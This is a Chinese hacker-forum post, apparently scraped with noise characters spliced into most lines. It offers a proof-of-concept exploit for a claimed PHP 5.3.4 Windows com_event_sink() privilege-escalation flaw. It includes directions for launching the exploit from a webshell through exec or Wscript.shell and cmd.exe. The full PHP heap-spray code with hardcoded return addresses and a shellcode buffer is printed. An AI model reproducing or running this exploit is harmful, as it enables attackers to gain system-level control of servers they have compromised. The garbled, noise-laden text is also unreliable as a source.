|
|
PHP最新版已经更新至5.4.x,不过中国大陆尚处于在5.2.x和5.3.x更替的阶段。存在漏洞的php存在于5.3.x版本中
( d% e2 Z: W: F! ]1 E8 o7 @% s1 X: c) p
测试方法如下:cmd /c x:\php\php.exe x:\test.php& d! k! V/ Y$ V- X4 O& s: I
; a& A# J' c5 W& I7 u* X. T6 {
下载php程序至本地,然后使用php.exe解析php即可。Webshell上面使用php的exec等函数执行,或者使用Wscript.shell调用cmd.exe然后 /c x:\php\php.exe x:\xxxx\test.php9 [. r( p% y0 w Y3 K& C1 a
这里是两个测试的截图:
9 x) T) H- N+ o( k' z) h6 |2 }2 Y* a/ ~( Z+ ?3 H" D
6 e6 [$ i% a8 k! }/ K- U
/ B2 C8 n; q3 R) U0 X! z% D) N
/ m$ V: K3 o# p' Z+ O
# X; k3 ~9 J5 D成功利用此漏洞的攻击者将获得系统的最高权限1 |5 q b* g! l1 K1 y5 M
0 x8 v* C+ d4 h( ]) R2 h2 o9 m( [& R9 J0 p/ H' L+ C
$ j5 z1 C U. M% Z* N4 [- d3 y: `3 B. g% j, g( }
& q8 U. \2 r0 k. [% G. f关于漏洞分析稍后附上。一下是PoC代码:
: G+ }# [% f- k% z: z4 R
( b# @: { w8 J6 q/ n<?php
% R0 q9 m0 j* G7 b7 O. N) a! q. q//PHP 5.3.4(Win版) com_event_sink()模型权限提升漏洞
# H' X M5 E3 ~/ C5 t, S//$eip ="\x44\x43\x42\x41";6 s6 u. y4 `5 M7 Z# a
$eip= "\x4b\xe8\x57\x78";6 U+ S+ E& a/ b3 Z9 E5 M; g) p
$eax ="\x80\x01\x8d\x04";* w# N# y! \, C- N3 v/ |' o$ f
$deodrant="";' m9 c, p3 x2 ?3 B8 J
$axespray = str_repeat($eip.$eax,0x80);
# X" G- j8 P, B7 k2 s& k0 ]7 j//048d0190
3 t! x! i9 u$ q* ~' Z+ @ xecho strlen($axespray);
. P* O$ u0 g, S6 lecho "PHP 5.3.4(WIN) COM_SINK Privilege Escalation\n";
y; y7 [$ F! W! J: Z6 @ Xecho "Silic Group Hacker Army - BlackBap.Org";- @! ~- ^; o0 B7 M+ m4 ~1 v. b1 S
//19200 ==4B32 4b00
, v; a" n: ~9 Z$ lfor($axeeffect=0;$axeeffect<0x4B32;$axeeffect++){$deodrant.=$axespray;}
) U+ @. w) u o h$terminate = "T";7 _) ?! u# j9 C O- o9 x- Y
$u[] =$deodrant;
+ K6 P( r1 B: B% f$ y1 m1 I0 G: t$r[] =$deodrant.$terminate;
6 G+ s0 f$ ]' c4 W$ R9 k% U1 S$a[] =$deodrant.$terminate;9 k" C. A0 S* {. y8 { h
$s[] =$deodrant.$terminate;# v6 B) ~5 R, ^9 _. j3 D9 c7 k! J
//$vVar = new VARIANT(0x048d0038+$offset); 这里是可控可改的
' k5 P( H4 q5 S" n2 M( q; A$vVar = new VARIANT(0x048d0000+180);; E" ~: ^8 C8 @& F; R: n! w! F8 Z; x" O
//弹窗代码(Shellcode); R6 Z' A1 N5 m7 f. V
$buffer = "\x90\x90\x90"."\xB9\x38\xDD\x82\x7C\x33\xC0\xBB"."\xD8\x0A\x86\x7C\x51\x50\xFF\xd3";! p& {9 I$ p9 m& T
$var2 = new VARIANT(0x41414242);
) C2 Q4 N9 ?1 k" j: ^4 |) M& @( Zcom_event_sink($vVar,$var2,$buffer);
' j: y* E1 O& h1 {?>
* t! w7 `' H7 Q9 r2 t6 Z7 \ E |
本帖子中包含更多资源
您需要 登录 才可以下载或查看,没有帐号?立即注册
x
|